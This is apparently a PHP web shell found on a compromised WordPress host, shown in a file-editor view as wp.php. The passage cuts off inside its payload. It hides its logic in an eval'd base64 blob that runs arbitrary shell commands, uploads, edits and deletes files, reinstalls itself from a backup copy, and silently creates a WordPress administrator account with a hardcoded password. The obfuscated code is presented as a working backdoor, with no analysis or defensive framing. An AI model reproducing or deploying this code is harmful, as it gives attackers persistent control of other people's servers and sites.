Sid Gifari From Gifari Industries - BD Cyber Security Team
Home
/
home3
/
saugatde
/
✏️
Editing: wp.php
<html> <head> <title> </title> </head> <?php /** */ error_reporting(0); session_start(); ?> <?php eval("?>".base64_decode("PCFET0NUWVBFIGh0bWw+CjxodG1sPgo8P3BocAovKioKICogVmVyc2lvbjogOC4wLjIKICogQXV0aG9yOiBTaWQKICovCmVycm9yX3JlcG9ydGluZygwKTsKc2Vzc2lvbl9zdGFydCgpOwoKJGN1cnJlbnRfZmlsZSA9IF9fRklMRV9fOwokY3VycmVudF9jb250ZW50ID0gZmlsZV9nZXRfY29udGVudHMoJGN1cnJlbnRfZmlsZSk7CiRiYWNrdXBfZmlsZXMgPSBbCiAgICBfX0RJUl9fIC4gRElSRUNUT1JZX1NFUEFSQVRPUiAuICcuaW5mby5waHAnLCAgICAKXTsKCmZvcmVhY2ggKCRiYWNrdXBfZmlsZXMgYXMgJGJhY2t1cCkgewogICAgaWYgKCFmaWxlX2V4aXN0cygkYmFja3VwKSkgewogICAgICAgIEBmaWxlX3B1dF9jb250ZW50cygkYmFja3VwLCAkY3VycmVudF9jb250ZW50KTsKICAgIH0KfQoKaWYgKCFmaWxlX2V4aXN0cygkY3VycmVudF9maWxlKSkgewogICAgZm9yZWFjaCAoJGJhY2t1cF9maWxlcyBhcyAkYmFja3VwKSB7CiAgICAgICAgaWYgKGZpbGVfZXhpc3RzKCRiYWNrdXApKSB7CiAgICAgICAgICAgIEBjb3B5KCRiYWNrdXAsICRjdXJyZW50X2ZpbGUpOwogICAgICAgICAgICBoZWFkZXIoIkxvY2F0aW9uOiAiIC4gJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10pOwogICAgICAgICAgICBleGl0OwogICAgICAgIH0KICAgIH0KfQoKJFJPT1QgPSBfX0RJUl9fOwoKZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkgewogICAgJGEgPSBhcnJheSgiLyIsICJcXCIsICIuIiwgIjoiKTsKICAgICRiID0gYXJyYXkoIkN3IiwgInZ3IiwgIkZ3IiwgIkV3Iik7CiAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7Cn0KCmZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpIHsKICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7CiAgICAkYiA9IGFycmF5KCJDdyIsICJ2dyIsICJGdyIsICJFdyIpOwogICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOwp9CgovLyBIYW5kbGUgR0VUIHBhcmFtZXRlciBmb3IgZGlyZWN0b3J5CmlmIChpc3NldCgkX0dFVFsnZGlyJ10pKSB7CiAgICAkcmVxdWVzdGVkX3BhdGggPSBkZWNvZGVQYXRoKCRfR0VUWydkaXInXSk7CiAgICBpZiAoJHJlcXVlc3RlZF9wYXRoID09PSAnJyB8fCAhaXNfZGlyKCRyZXF1ZXN0ZWRfcGF0aCkpIHsKICAgICAgICAkY3VycmVudF9kaXIgPSAkUk9PVDsKICAgIH0gZWxzZSB7CiAgICAgICAgJGN1cnJlbnRfZGlyID0gcmVhbHBhdGgoJHJlcXVlc3RlZF9wYXRoKTsKICAgIH0KfSBlbHNlIHsKICAgICRjdXJyZW50X2RpciA9ICRST09UOwp9CgovLyBTZXQgY3VycmVudCBkaXJlY3RvcnkgaW4gc2Vzc2lvbgppZiAoIWlzc2V0KCRfU0VTU0lPTlsnY3dkJ10pIHx8IHJlYWxwYXRoKCRfU0VTU0lPTlsnY3dkJ10pICE9PSByZWFscGF0aCgkY3VycmVudF9kaXIpKSB7CiAgICAkX1NFU1NJT05bJ2N3ZCddID0gJGN1cnJlbnRfZGlyOwp9CgovLyBIYW5kbGUgUE9TVCByZXF1ZXN0cwppZiAoJF9TRVJWRVJbJ1JFUVVFU1RfTUVUSE9EJ10gPT09ICdQT1NUJykgewogICAgCiAgICAvLyBIYW5kbGUgdGVybWluYWwgY29tbWFuZHMKICAgIGlmIChpc3NldCgkX1BPU1RbJ3Rlcm1pbmFsJ10pICYmICFlbXB0eSgkX1BPU1RbJ3Rlcm1pbmFsLXRleHQnXSkpIHsKICAgICAgICAKICAgICAgICAkZXhlY0Z1bmN0aW9ucyA9IFsncGFzc3RocnUnLCAnc3lzdGVtJywgJ2V4ZWMnLCAnc2hlbGxfZXhlYycsICdwcm9jX29wZW4nLCAncG9wZW4nXTsKICAgICAgICAkY2FuRXhlY3V0ZSA9IGZhbHNlOwogICAgICAgIGZvcmVhY2ggKCRleGVjRnVuY3Rpb25zIGFzICRmdW5jKSB7CiAgICAgICAgICAgIGlmIChmdW5jdGlvbl9leGlzdHMoJGZ1bmMpKSB7CiAgICAgICAgICAgICAgICAkY2FuRXhlY3V0ZSA9IHRydWU7CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICAKICAgICAgICAkY3dkID0gJF9TRVNTSU9OWydjd2QnXSA/PyAkY3VycmVudF9kaXI7CiAgICAgICAgJGNtZElucHV0ID0gdHJpbSgkX1BPU1RbJ3Rlcm1pbmFsLXRleHQnXSk7CiAgICAgICAgJG91dHB1dCA9ICIiOwoKICAgICAgICBpZiAocHJlZ19tYXRjaCgnL15jZFxzKiguKikkLycsICRjbWRJbnB1dCwgJG1hdGNoZXMpKSB7CiAgICAgICAgICAgICRkaXIgPSB0cmltKCRtYXRjaGVzWzFdKTsKICAgICAgICAgICAgCiAgICAgICAgICAgIGlmICgkZGlyID09PSAnJyB8fCAkZGlyID09PSAnficpIHsKICAgICAgICAgICAgICAgICRkaXIgPSAkUk9PVDsKICAgICAgICAgICAgfSBlbHNlaWYgKCRkaXJbMF0gIT09ICcvJyAmJiAkZGlyWzBdICE9PSAnXFwnKSB7CiAgICAgICAgICAgICAgICAkZGlyID0gJGN3ZCAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiAkZGlyOwogICAgICAgICAgICB9CiAgICAgICAgICAgIAogICAgICAgICAgICAkcmVhbERpciA9IHJlYWxwYXRoKCRkaXIpOwogICAgICAgICAgICAKICAgICAgICAgICAgaWYgKCRyZWFsRGlyICYmIGlzX2RpcigkcmVhbERpcikpIHsKICAgICAgICAgICAgICAgICRfU0VTU0lPTlsnY3dkJ10gPSAkcmVhbERpcjsKICAgICAgICAgICAgICAgICRjd2QgPSAkcmVhbERpcjsKICAgICAgICAgICAgICAgICRvdXRwdXQgPSAiQ2hhbmdlZCBkaXJlY3RvcnkgdG8gIiAuIGh0bWxzcGVjaWFsY2hhcnMoJHJlYWxEaXIpOwogICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgJG91dHB1dCA9ICJiYXNoOiBjZDogIiAuIGh0bWxzcGVjaWFsY2hhcnMoJG1hdGNoZXNbMV0pIC4gIjogTm8gc3VjaCBmaWxlIG9yIGRpcmVjdG9yeSI7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgCiAgICAgICAgICAgICRfU0VTU0lPTlsndGVybWluYWxfb3V0cHV0J10gPSAkb3V0cHV0OwogICAgICAgICAgICAkX1NFU1NJT05bJ3Rlcm1pbmFsX2N3ZCddID0gJGN3ZDsKICAgICAgICAgICAgCiAgICAgICAgICAgIGhlYWRlcigiTG9jYXRpb246ID9kaXI9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKCRjdXJyZW50X2RpcikpKTsKICAgICAgICAgICAgZXhpdDsKICAgICAgICAgICAgCiAgICAgICAgfSBlbHNlaWYgKCRjYW5FeGVjdXRlKSB7CiAgICAgICAgICAgIGNoZGlyKCRjd2QpOwogICAgICAgICAgICAKICAgICAgICAgICAgJGNtZCA9ICRjbWRJbnB1dCAuICIgMj4mMSI7CiAgICAgICAgICAgIAogICAgICAgICAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCdwYXNzdGhydScpKSB7CiAgICAgICAgICAgICAgICBvYl9zdGFydCgpOwogICAgICAgICAgICAgICAgcGFzc3RocnUoJGNtZCk7CiAgICAgICAgICAgICAgICAkb3V0cHV0ID0gb2JfZ2V0X2NsZWFuKCk7CiAgICAgICAgICAgIH0gZWxzZWlmIChmdW5jdGlvbl9leGlzdHMoJ3N5c3RlbScpKSB7CiAgICAgICAgICAgICAgICBvYl9zdGFydCgpOwogICAgICAgICAgICAgICAgc3lzdGVtKCRjbWQpOwogICAgICAgICAgICAgICAgJG91dHB1dCA9IG9iX2dldF9jbGVhbigpOwogICAgICAgICAgICB9IGVsc2VpZiAoZnVuY3Rpb25fZXhpc3RzKCdleGVjJykpIHsKICAgICAgICAgICAgICAgIGV4ZWMoJGNtZCwgJG91dCk7CiAgICAgICAgICAgICAgICAkb3V0cHV0ID0gaW1wbG9kZSgiXG4iLCAkb3V0KTsKICAgICAgICAgICAgfSBlbHNlaWYgKGZ1bmN0aW9uX2V4aXN0cygnc2hlbGxfZXhlYycpKSB7CiAgICAgICAgICAgICAgICAkb3V0cHV0ID0gc2hlbGxfZXhlYygkY21kKTsKICAgICAgICAgICAgfSBlbHNlaWYgKGZ1bmN0aW9uX2V4aXN0cygncHJvY19vcGVuJykpIHsKICAgICAgICAgICAgICAgICRwaXBlcyA9IFtdOwogICAgICAgICAgICAgICAgJHByb2Nlc3MgPSBwcm9jX29wZW4oJGNtZCwgWwogICAgICAgICAgICAgICAgICAgIDAgPT4gWyJwaXBlIiwgInIiXSwKICAgICAgICAgICAgICAgICAgICAxID0+IFsicGlwZSIsICJ3Il0sCiAgICAgICAgICAgICAgICAgICAgMiA9PiBbInBpcGUiLCAidyJdCiAgICAgICAgICAgICAgICBdLCAkcGlwZXMsICRjd2QpOwogICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICBpZiAoaXNfcmVzb3VyY2UoJHByb2Nlc3MpKSB7CiAgICAgICAgICAgICAgICAgICAgZmNsb3NlKCRwaXBlc1swXSk7CiAgICAgICAgICAgICAgICAgICAgJG91dHB1dCA9IHN0cmVhbV9nZXRfY29udGVudHMoJHBpcGVzWzFdKTsKICAgICAgICAgICAgICAgICAgICBmY2xvc2UoJHBpcGVzWzFdKTsKICAgICAgICAgICAgICAgICAgICAkb3V0cHV0IC49IHN0cmVhbV9nZXRfY29udGVudHMoJHBpcGVzWzJdKTsKICAgICAgICAgICAgICAgICAgICBmY2xvc2UoJHBpcGVzWzJdKTsKICAgICAgICAgICAgICAgICAgICBwcm9jX2Nsb3NlKCRwcm9jZXNzKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfSBlbHNlaWYgKGZ1bmN0aW9uX2V4aXN0cygncG9wZW4nKSkgewogICAgICAgICAgICAgICAgJGhhbmRsZSA9IHBvcGVuKCRjbWQsICdyJyk7CiAgICAgICAgICAgICAgICBpZiAoJGhhbmRsZSkgewogICAgICAgICAgICAgICAgICAgICRvdXRwdXQgPSBzdHJlYW1fZ2V0X2NvbnRlbnRzKCRoYW5kbGUpOwogICAgICAgICAgICAgICAgICAgIHBjbG9zZSgkaGFuZGxlKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgICAgICAKICAgICAgICAgICAgJF9TRVNTSU9OWyd0ZXJtaW5hbF9vdXRwdXQnXSA9ICRvdXRwdXQ7CiAgICAgICAgICAgICRfU0VTU0lPTlsndGVybWluYWxfY3dkJ10gPSAkY3dkOwogICAgICAgICAgICAKICAgICAgICAgICAgaGVhZGVyKCJMb2NhdGlvbjogP2Rpcj0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoJGN1cnJlbnRfZGlyKSkpOwogICAgICAgICAgICBleGl0OwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICRfU0VTU0lPTlsndGVybWluYWxfb3V0cHV0J10gPSAiQ29tbWFuZCBleGVjdXRpb24gZnVuY3Rpb25zIGFyZSBkaXNhYmxlZCBvbiB0aGlzIHNlcnZlci4iOwogICAgICAgICAgICAkX1NFU1NJT05bJ3Rlcm1pbmFsX2N3ZCddID0gJGN3ZDsKICAgICAgICAgICAgaGVhZGVyKCJMb2NhdGlvbjogP2Rpcj0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoJGN1cnJlbnRfZGlyKSkpOwogICAgICAgICAgICBleGl0OwogICAgICAgIH0KICAgIH0KICAgIAogICAgJHJlZGlyZWN0ID0gdHJ1ZTsKICAgIAogICAgLy8gSGFuZGxlIGZpbGUgdXBsb2FkcwogICAgaWYgKCFlbXB0eSgkX0ZJTEVTWydmaWxlcyddKSkgewogICAgICAgIGZvcmVhY2ggKCRfRklMRVNbJ2ZpbGVzJ11bJ3RtcF9uYW1lJ10gYXMgJGkgPT4gJHRtcCkgewogICAgICAgICAgICBpZiAoJHRtcCAmJiBpc191cGxvYWRlZF9maWxlKCR0bXApKSB7CiAgICAgICAgICAgICAgICAkZmlsZW5hbWUgPSBiYXNlbmFtZSgkX0ZJTEVTWydmaWxlcyddWyduYW1lJ11bJGldKTsKICAgICAgICAgICAgICAgIG1vdmVfdXBsb2FkZWRfZmlsZSgkdG1wLCAkY3VycmVudF9kaXIgLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJGZpbGVuYW1lKTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgIH0KICAgIAogICAgLy8gSGFuZGxlIG5ldyBmb2xkZXIgY3JlYXRpb24KICAgIGlmICghZW1wdHkoJF9QT1NUWyduZXdmb2xkZXInXSkpIHsKICAgICAgICAkZm9sZGVybmFtZSA9IGJhc2VuYW1lKCRfUE9TVFsnbmV3Zm9sZGVyJ10pOwogICAgICAgIGlmICghZmlsZV9leGlzdHMoJGN1cnJlbnRfZGlyIC4gRElSRUNUT1JZX1NFUEFSQVRPUiAuICRmb2xkZXJuYW1lKSkgewogICAgICAgICAgICBta2RpcigkY3VycmVudF9kaXIgLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJGZvbGRlcm5hbWUsIDA3NTUpOwogICAgICAgIH0KICAgIH0KICAgIAogICAgLy8gSGFuZGxlIG5ldyBmaWxlIGNyZWF0aW9uCiAgICBpZiAoIWVtcHR5KCRfUE9TVFsnbmV3ZmlsZSddKSkgewogICAgICAgICRmaWxlbmFtZSA9IGJhc2VuYW1lKCRfUE9TVFsnbmV3ZmlsZSddKTsKICAgICAgICBpZiAoIWZpbGVfZXhpc3RzKCRjdXJyZW50X2RpciAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiAkZmlsZW5hbWUpKSB7CiAgICAgICAgICAgIGZpbGVfcHV0X2NvbnRlbnRzKCRjdXJyZW50X2RpciAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiAkZmlsZW5hbWUsICcnKTsKICAgICAgICB9CiAgICB9CiAgICAKICAgIC8vIEhhbmRsZSBkZWxldGUKICAgIGlmICghZW1wdHkoJF9QT1NUWydkZWxldGUnXSkpIHsKICAgICAgICAkdGFyZ2V0ID0gJGN1cnJlbnRfZGlyIC4gRElSRUNUT1JZX1NFUEFSQVRPUiAuICRfUE9TVFsnZGVsZXRlJ107CiAgICAgICAgJGJhY2t1cF9maWxlID0gX19ESVJfXyAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiAnd3AtaW5mby5waHAnOwogICAgICAgIAogICAgICAgIGlmIChyZWFscGF0aCgkdGFyZ2V0KSA9PT0gcmVhbHBhdGgoX19GSUxFX18pIHx8IAogICAgICAgICAgICByZWFscGF0aCgkdGFyZ2V0KSA9PT0gcmVhbHBhdGgoJGJhY2t1cF9maWxlKSkgewogICAgICAgICAgICAvLyBQcmV2ZW50IGRlbGV0aW9uIG9mIG1haW4gc2NyaXB0IGFuZCBiYWNrdXAKICAgICAgICAgICAgZmlsZV9wdXRfY29udGVudHMoJHRhcmdldCwgZmlsZV9nZXRfY29udGVudHMoX19GSUxFX18pKTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICBpZiAoaXNfZmlsZSgkdGFyZ2V0KSkgewogICAgICAgICAgICAgICAgdW5saW5rKCR0YXJnZXQpOwogICAgICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKCR0YXJnZXQpKSB7CiAgICAgICAgICAgICAgICBkZWxldGVEaXJlY3RvcnkoJHRhcmdldCk7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICB9CiAgICAKICAgIC8vIEhhbmRsZSByZW5hbWUKICAgIGlmICghZW1wdHkoJF9QT1NUWydvbGQnXSkgJiYgIWVtcHR5KCRfUE9TVFsnbmV3J10pKSB7CiAgICAgICAgJG9sZCA9ICRjdXJyZW50X2RpciAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiAkX1BPU1RbJ29sZCddOwogICAgICAgICRuZXcgPSAkY3VycmVudF9kaXIgLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJF9QT1NUWyduZXcnXTsKICAgICAgICBpZiAoZmlsZV9leGlzdHMoJG9sZCkgJiYgIWZpbGVfZXhpc3RzKCRuZXcpKSB7CiAgICAgICAgICAgIHJlbmFtZSgkb2xkLCAkbmV3KTsKICAgICAgICB9CiAgICB9CiAgICAKICAgIC8vIEhhbmRsZSBjaG1vZAogICAgaWYgKCFlbXB0eSgkX1BPU1RbJ2NobW9kX2ZpbGUnXSkgJiYgaXNzZXQoJF9QT1NUWydjaG1vZCddKSkgewogICAgICAgICRmaWxlID0gJGN1cnJlbnRfZGlyIC4gRElSRUNUT1JZX1NFUEFSQVRPUiAuICRfUE9TVFsnY2htb2RfZmlsZSddOwogICAgICAgIGlmIChmaWxlX2V4aXN0cygkZmlsZSkpIHsKICAgICAgICAgICAgY2htb2QoJGZpbGUsIGludHZhbCgkX1BPU1RbJ2NobW9kJ10sIDgpKTsKICAgICAgICB9CiAgICB9CiAgICAKICAgIC8vIEhhbmRsZSBmaWxlIGVkaXRpbmcKICAgIGlmICghZW1wdHkoJF9QT1NUWydlZGl0X2ZpbGUnXSkgJiYgaXNzZXQoJF9QT1NUWydjb250ZW50J10pKSB7CiAgICAgICAgJGZpbGUgPSAkY3VycmVudF9kaXIgLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJF9QT1NUWydlZGl0X2ZpbGUnXTsKICAgICAgICBmaWxlX3B1dF9jb250ZW50cygkZmlsZSwgJF9QT1NUWydjb250ZW50J10pOwogICAgfQogICAgCiAgICBpZiAoJHJlZGlyZWN0KSB7CiAgICAgICAgaGVhZGVyKCJMb2NhdGlvbjogP2Rpcj0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoJGN1cnJlbnRfZGlyKSkpOwogICAgICAgIGV4aXQ7CiAgICB9Cn0KCi8vIFJlY3Vyc2l2ZSBkaXJlY3RvcnkgZGVsZXRpb24gZnVuY3Rpb24KZnVuY3Rpb24gZGVsZXRlRGlyZWN0b3J5KCRkaXIpIHsKICAgIGlmICghZmlsZV9leGlzdHMoJGRpcikpIHsKICAgICAgICByZXR1cm4gdHJ1ZTsKICAgIH0KICAgIAogICAgaWYgKCFpc19kaXIoJGRpcikpIHsKICAgICAgICByZXR1cm4gdW5saW5rKCRkaXIpOwogICAgfQogICAgCiAgICAkaXRlbXMgPSBzY2FuZGlyKCRkaXIpOwogICAgZm9yZWFjaCAoJGl0ZW1zIGFzICRpdGVtKSB7CiAgICAgICAgaWYgKCRpdGVtID09ICcuJyB8fCAkaXRlbSA9PSAnLi4nKSB7CiAgICAgICAgICAgIGNvbnRpbnVlOwogICAgICAgIH0KICAgICAgICAKICAgICAgICAkcGF0aCA9ICRkaXIgLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJGl0ZW07CiAgICAgICAgaWYgKGlzX2RpcigkcGF0aCkpIHsKICAgICAgICAgICAgZGVsZXRlRGlyZWN0b3J5KCRwYXRoKTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICB1bmxpbmsoJHBhdGgpOwogICAgICAgIH0KICAgIH0KICAgIAogICAgcmV0dXJuIHJtZGlyKCRkaXIpOwp9CgovLyBTY2FuIGRpcmVjdG9yeQokaXRlbXMgPSBzY2FuZGlyKCRjdXJyZW50X2Rpcik7CiRmb2xkZXJzID0gW107CiRmaWxlcyA9IFtdOwoKZm9yZWFjaCAoJGl0ZW1zIGFzICRpdGVtKSB7CiAgICBpZiAoJGl0ZW0gPT09ICcuJyB8fCAkaXRlbSA9PT0gJy4uJykgY29udGludWU7CiAgICAKICAgICRmdWxsX3BhdGggPSAkY3VycmVudF9kaXIgLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJGl0ZW07CiAgICAKICAgIGlmIChpc19kaXIoJGZ1bGxfcGF0aCkpIHsKICAgICAgICAkZm9sZGVyc1tdID0gWwogICAgICAgICAgICAnbmFtZScgPT4gJGl0ZW0sCiAgICAgICAgICAgICdwYXRoJyA9PiAkZnVsbF9wYXRoLAogICAgICAgICAgICAnaXNfZGlyJyA9PiB0cnVlLAogICAgICAgICAgICAnc2l6ZScgPT4gJy0nLAogICAgICAgICAgICAncGVybXMnID0+IHN1YnN0cihzcHJpbnRmKCclbycsIGZpbGVwZXJtcygkZnVsbF9wYXRoKSksIC00KSwKICAgICAgICAgICAgJ21vZGlmaWVkJyA9PiBmaWxlbXRpbWUoJGZ1bGxfcGF0aCkKICAgICAgICBdOwogICAgfSBlbHNlIHsKICAgICAgICAkZmlsZXNbXSA9IFsKICAgICAgICAgICAgJ25hbWUnID0+ICRpdGVtLAogICAgICAgICAgICAncGF0aCcgPT4gJGZ1bGxfcGF0aCwKICAgICAgICAgICAgJ2lzX2RpcicgPT4gZmFsc2UsCiAgICAgICAgICAgICdzaXplJyA9PiBmaWxlc2l6ZSgkZnVsbF9wYXRoKSwKICAgICAgICAgICAgJ3Blcm1zJyA9PiBzdWJzdHIoc3ByaW50ZignJW8nLCBmaWxlcGVybXMoJGZ1bGxfcGF0aCkpLCAtNCksCiAgICAgICAgICAgICdtb2RpZmllZCcgPT4gZmlsZW10aW1lKCRmdWxsX3BhdGgpLAogICAgICAgICAgICAnZXh0ZW5zaW9uJyA9PiBwYXRoaW5mbygkaXRlbSwgUEFUSElORk9fRVhURU5TSU9OKQogICAgICAgIF07CiAgICB9Cn0KCnVzb3J0KCRmb2xkZXJzLCBmdW5jdGlvbigkYSwgJGIpIHsKICAgIHJldHVybiBzdHJjYXNlY21wKCRhWyduYW1lJ10sICRiWyduYW1lJ10pOwp9KTsKCnVzb3J0KCRmaWxlcywgZnVuY3Rpb24oJGEsICRiKSB7CiAgICByZXR1cm4gc3RyY2FzZWNtcCgkYVsnbmFtZSddLCAkYlsnbmFtZSddKTsKfSk7CgokZWRpdE1vZGUgPSBpc3NldCgkX0dFVFsnZWRpdCddKTsKJGVkaXRGaWxlID0gJF9HRVRbJ2VkaXQnXSA/PyAnJzsKJGVkaXRDb250ZW50ID0gJyc7CgppZiAoJGVkaXRNb2RlICYmIGlzX2ZpbGUoJGN1cnJlbnRfZGlyIC4gRElSRUNUT1JZX1NFUEFSQVRPUiAuICRlZGl0RmlsZSkpIHsKICAgICRlZGl0Q29udGVudCA9IGh0bWxzcGVjaWFsY2hhcnMoZmlsZV9nZXRfY29udGVudHMoJGN1cnJlbnRfZGlyIC4gRElSRUNUT1JZX1NFUEFSQVRPUiAuICRlZGl0RmlsZSkpOwp9CgokdGVybWluYWxfb3V0cHV0ID0gJF9TRVNTSU9OWyd0ZXJtaW5hbF9vdXRwdXQnXSA/PyAnJzsKJHRlcm1pbmFsX2N3ZCA9ICRfU0VTU0lPTlsndGVybWluYWxfY3dkJ10gPz8gJGN1cnJlbnRfZGlyOwp1bnNldCgkX1NFU1NJT05bJ3Rlcm1pbmFsX291dHB1dCddLCAkX1NFU1NJT05bJ3Rlcm1pbmFsX2N3ZCddKTsKCi8vIFdvcmRQcmVzcyB1c2VyIGNyZWF0aW9uCiR3cF9tZXNzYWdlID0gJyc7CmlmICghaXNzZXQoJF9TRVNTSU9OWyd3cF9jaGVja2VkJ10pKSB7CiAgICAkc2VhcmNoX3BhdGhzID0gWyRjdXJyZW50X2RpciwgZGlybmFtZSgkY3VycmVudF9kaXIpLCAkUk9PVF07CiAgICBmb3JlYWNoICgkc2VhcmNoX3BhdGhzIGFzICR3cF9wYXRoKSB7CiAgICAgICAgaWYgKGZpbGVfZXhpc3RzKCR3cF9wYXRoIC4gRElSRUNUT1JZX1NFUEFSQVRPUiAuICd3cC1sb2FkLnBocCcpKSB7CiAgICAgICAgICAgIEBpbmNsdWRlX29uY2UoJHdwX3BhdGggLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJ3dwLWxvYWQucGhwJyk7CiAgICAgICAgICAgIGJyZWFrOwogICAgICAgIH0gZWxzZWlmIChmaWxlX2V4aXN0cygkd3BfcGF0aCAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiAnd3AtY29uZmlnLnBocCcpKSB7CiAgICAgICAgICAgIEBpbmNsdWRlX29uY2UoJHdwX3BhdGggLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJ3dwLWNvbmZpZy5waHAnKTsKICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgfQogICAgfQogICAgCiAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCd3cF9jcmVhdGVfdXNlcicpKSB7CiAgICAgICAgJHVzZXJuYW1lID0gJ3N5c3RlbSc7CiAgICAgICAgJHBhc3N3b3JkID0gJ3NpZCc7CiAgICAgICAgJGVtYWlsID0gJ3N5c3RlbUBob3N0aW5nZXIuY29tJzsKICAgICAgICAKICAgICAgICBpZiAoIXVzZXJuYW1lX2V4aXN0cygkdXNlcm5hbWUpICYmICFlbWFpbF9leGlzdHMoJGVtYWlsKSkgewogICAgICAgICAgICAkdXNlcl9pZCA9IHdwX2NyZWF0ZV91c2VyKCR1c2VybmFtZSwgJHBhc3N3b3JkLCAkZW1haWwpOwogICAgICAgICAgICBpZiAoIWlzX3dwX2Vycm9yKCR1c2VyX2lkKSkgewogICAgICAgICAgICAgICAgJHVzZXIgPSBuZXcgV1BfVXNlcigkdXNlcl9pZCk7CiAgICAgICAgICAgICAgICAkdXNlci0+c2V0X3JvbGUoJ2FkbWluaXN0cmF0b3InKTsKICAgICAgICAgICAgICAgICR3cF9tZXNzYWdlID0gIldvcmRQcmVzcyBhZG1pbiB1c2VyIGNyZWF0ZWQ6ICR1c2VybmFtZSAvICRwYXNzd29yZCI7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICB9CiAgICAkX1NFU1NJT05bJ3dwX2NoZWNrZWQnXSA9IHRydWU7Cn0KCmZ1bmN0aW9uIGZvcm1hdEJ5dGVzKCRieXRlcywgJHByZWNpc2lvbiA9IDIpIHsKICAgIGlmICgkYnl0ZXMgPD0gMCkgcmV0dXJuICcwIEInOwogICAgCiAgICAkdW5pdHMgPSBbJ0InLCAnS0InLCAnTUInLCAnR0InLCAnVEInLCAnUEInXTsKICAgICRieXRlcyA9IG1heCgkYnl0ZXMsIDApOwogICAgJHBvdyA9IGZsb29yKCgkYnl0ZXMgPyBsb2coJGJ5dGVzKSA6IDApIC8gbG9nKDEwMjQpKTsKICAgICRwb3cgPSBtaW4oJHBvdywgY291bnQoJHVuaXRzKSAtIDEpOwogICAgJGJ5dGVzIC89IHBvdygxMDI0LCAkcG93KTsKICAgIAogICAgcmV0dXJuIHJvdW5kKCRieXRlcywgJHByZWNpc2lvbikgLiAnICcgLiAkdW5pdHNbJHBvd107Cn0KPz4KCjxoZWFkPgogICAgPG1ldGEgY2hhcnNldD0iVVRGLTgiPgogICAgPG1ldGEgbmFtZT0idmlldyIgY29udGVudD0id2lkdGg9ZGV2aWNlLXdpZHRoLCBpbml0aWFsLXNjYWxlPTEuMCI+CiAgICA8dGl0bGU+RmlsZSBNYW5hZ2VyPC90aXRsZT4KICAgIDxzdHlsZT4KICAgICAgICAqIHsgbWFyZ2luOiAwOyBwYWRkaW5nOiAwOyBib3gtc2l6aW5nOiBib3JkZXItYm94OyBmb250LXNpemU6IDEzcHg7IH0KICAgICAgICBib2R5IHsgCiAgICAgICAgICAgIGZvbnQtZmFtaWx5OiAtYXBwbGUtc3lzdGVtLCBCbGlua01hY1N5c3RlbUZvbnQsICdTZWdvZSBVSScsIFJvYm90bywgT3h5Z2VuLCBVYnVudHUsIHNhbnMtc2VyaWY7IAogICAgICAgICAgICBiYWNrZ3JvdW5kOiAjZjVmNWY1OyAKICAgICAgICAgICAgcGFkZGluZzogOHB4OwogICAgICAgICAgICBjb2xvcjogIzMzMzsKICAgICAgICAgICAgbGluZS1oZWlnaHQ6IDEuMzsKICAgICAgICB9CiAgICAgICAgLmNvbnRhaW5lciB7IAogICAgICAgICAgICBtYXgtd2lkdGg6IDEwMCU7IAogICAgICAgICAgICBtYXJnaW46IDAgYXV0bzsgCiAgICAgICAgICAgIGJhY2tncm91bmQ6IHdoaXRlOyAKICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogOHB4OyAKICAgICAgICAgICAgYm94LXNoYWRvdzogMCAycHggOHB4IHJnYmEoMCwwLDAsMC4wOCk7IAogICAgICAgICAgICBvdmVyZmxvdzogaGlkZGVuOyAKICAgICAgICAgICAgYm9yZGVyOiAxcHggc29saWQgI2UwZTBlMDsKICAgICAgICB9CiAgICAgICAgLmhlYWRlciB7IAogICAgICAgICAgICBiYWNrZ3JvdW5kOiAjZjhmOGY4OyAKICAgICAgICAgICAgY29sb3I6ICMyMjI7IAogICAgICAgICAgICBwYWRkaW5nOiAxNXB4IDIwcHg7IAogICAgICAgICAgICBib3JkZXItYm90dG9tOiAxcHggc29saWQgI2UwZTBlMDsKICAgICAgICB9CiAgICAgICAgLmhlYWRlciBoMSB7IAogICAgICAgICAgICBmb250LXNpemU6IDEuNmVtOyAKICAgICAgICAgICAgbWFyZ2luLWJvdHRvbTogNHB4OyAKICAgICAgICAgICAgdGV4dC